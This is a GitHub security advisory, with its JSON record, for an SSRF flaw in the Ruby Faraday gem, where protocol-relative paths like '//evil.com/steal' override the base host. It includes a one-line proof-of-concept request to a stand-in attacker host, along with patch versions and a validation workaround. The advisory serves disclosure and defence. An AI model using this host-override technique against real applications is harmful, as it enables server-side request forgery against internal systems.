GHSA-33MH-2634-FWR2

Vulnerability from github – Published: 2026-02-09 20:37 – Updated: 2026-02-13 17:16
VLAI?
Summary
Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Details

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end

Severity ?
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:37:05Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n  Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n  `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL\u0027s host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n  conn.get(\u0027//evil.com/steal\u0027)\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```",
  "id": "GHSA-33mh-2634-fwr2",
  "modified": "2026-02-13T17:16:36Z",
  "published": "2026-02-09T20:37:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/pull/1569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url"
}


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